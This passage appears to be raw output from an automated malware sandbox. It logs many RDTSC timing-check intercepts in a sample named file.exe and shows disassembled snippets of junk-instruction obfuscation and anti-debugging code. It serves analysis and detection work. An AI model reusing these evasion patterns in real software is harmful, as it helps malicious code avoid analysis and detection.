Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524A57 second address: 524ACA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F32E9641F25h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c movsx esi, dx 0x0000000f push 00000003h 0x00000011 or cl, FFFFFFBFh 0x00000014 push 00000000h 0x00000016 and si, 7F62h 0x0000001b push 00000003h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F32E9641F18h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 add dx, BAD3h 0x0000003c call 00007F32E9641F19h 0x00000041 push edi 0x00000042 jmp 00007F32E9641F1Ch 0x00000047 pop edi 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524ACA second address: 524AD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524AD0 second address: 524AE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 je 00007F32E9641F16h 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524AE8 second address: 524B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F32E8D838E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jnl 00007F32E8D838EBh 0x00000015 jmp 00007F32E8D838E5h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 pushad 0x00000027 popad 0x00000028 popad 0x00000029 popad 0x0000002a pop eax 0x0000002b jmp 00007F32E8D838E2h 0x00000030 lea ebx, dword ptr [ebp+12459788h] 0x00000036 mov edx, dword ptr [ebp+122D3B41h] 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F32E8D838E6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524B6D second address: 524B77 instructions: 0x00000000 rdtsc 0x00000002 je 00007F32E9641F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524B77 second address: 524B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524D96 second address: 524DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007F32E9641F20h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop edx 0x0000001a jg 00007F32E9641F16h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B31 second address: 545B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B37 second address: 545B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B42 second address: 545B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F32E8D838DDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B5A second address: 545B60 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 545B60 second address: 545B65 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5439C1 second address: 5439C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5439C7 second address: 5439D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543B43 second address: 543B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543B48 second address: 543B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838DAh 0x00000007 pushad 0x00000008 jnc 00007F32E8D838D6h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543B65 second address: 543B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543B6B second address: 543B97 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F32E8D838DEh 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F32E8D838DEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543D21 second address: 543D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F32E9641F1Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F32E9641F21h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 543E9D second address: 543EA7 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5443E8 second address: 5443EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5443EE second address: 5443F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54453C second address: 544540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544540 second address: 54454F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F32E8D838D6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54454F second address: 54457B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F32E9641F1Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F32E9641F23h 0x00000012 jno 00007F32E9641F16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54457B second address: 5445BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F32E8D838DAh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007F32E8D838E3h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5445BC second address: 5445C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5449ED second address: 5449F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5449F2 second address: 544A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F32E9641F16h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 jne 00007F32E9641F16h 0x00000016 jne 00007F32E9641F16h 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517AFF second address: 517B04 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544CB1 second address: 544CD0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32E9641F1Ah 0x00000008 jmp 00007F32E9641F1Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544CD0 second address: 544CD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544CD6 second address: 544CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007F32E9641F16h 0x0000000c popad 0x0000000d push ecx 0x0000000e jc 00007F32E9641F16h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544CEB second address: 544CF2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54542B second address: 545437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F32E9641F16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5455BD second address: 5455E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F32E8D838EAh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5455E3 second address: 5455E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5459B0 second address: 5459B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5459B4 second address: 5459CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F20h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547223 second address: 547232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F32E8D838D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547232 second address: 547236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D8B3 second address: 50D8B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50D8B8 second address: 50D8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F32E9641F24h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C5D8 second address: 54C5DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54AECE second address: 54AED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C6C0 second address: 54C707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jns 00007F32E8D838DAh 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F32E8D838DEh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F32E8D838E5h 0x00000024 popad 0x00000025 pushad 0x00000026 push ecx 0x00000027 pop ecx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C86A second address: 54C870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553429 second address: 55344E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E7h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jc 00007F32E8D838DEh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55344E second address: 553454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553454 second address: 553476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55378A second address: 553795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553795 second address: 5537AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F32E8D838D6h 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007F32E8D838D6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5537AE second address: 5537C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E9641F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553AD1 second address: 553AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E8D838E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553AE8 second address: 553AEE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553AEE second address: 553B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838DBh 0x0000000d jmp 00007F32E8D838E2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553B13 second address: 553B17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553B17 second address: 553B1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555EBC second address: 555F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32E9641F22h 0x00000009 popad 0x0000000a jbe 00007F32E9641F18h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F32E9641F25h 0x0000001c jmp 00007F32E9641F21h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555F07 second address: 555F0C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555F9C second address: 555FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007F32E9641F16h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555FAE second address: 555FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556502 second address: 556512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F32E9641F1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556512 second address: 556537 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jmp 00007F32E8D838E8h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5565E4 second address: 5565EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5565EA second address: 556638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], ebx 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F32E8D838D8h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push ecx 0x00000024 call 00007F32E8D838DBh 0x00000029 add edi, 7220ADE4h 0x0000002f pop edi 0x00000030 pop esi 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 jmp 00007F32E8D838DCh 0x0000003a pop eax 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5566E3 second address: 5566FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F32E9641F21h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556A80 second address: 556A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556A86 second address: 556A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B8E second address: 556B94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5579F7 second address: 5579FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5579FB second address: 5579FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B5D second address: 558B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B61 second address: 558B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F32E8D838E9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B82 second address: 558B90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558B90 second address: 558BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F32E8D838E0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558C39 second address: 558C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558C3D second address: 558C47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558C47 second address: 558C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5596B2 second address: 5596B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5596B8 second address: 5596BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5596BD second address: 55973C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 add esi, dword ptr [ebp+122D3A35h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F32E8D838D8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a or dword ptr [ebp+1245A07Fh], edx 0x00000030 cmc 0x00000031 add dword ptr [ebp+122D2A5Dh], ecx 0x00000037 push 00000000h 0x00000039 jbe 00007F32E8D838E4h 0x0000003f xchg eax, ebx 0x00000040 pushad 0x00000041 jmp 00007F32E8D838E9h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F32E8D838E1h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55973C second address: 55974A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A122 second address: 55A13D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F32E8D838E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A13D second address: 55A1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F32E9641F18h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov edi, dword ptr [ebp+122D3BE9h] 0x0000002d push 00000000h 0x0000002f jnc 00007F32E9641F2Fh 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F32E9641F18h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D2C47h], ebx 0x00000057 mov si, ax 0x0000005a xchg eax, ebx 0x0000005b pushad 0x0000005c jmp 00007F32E9641F25h 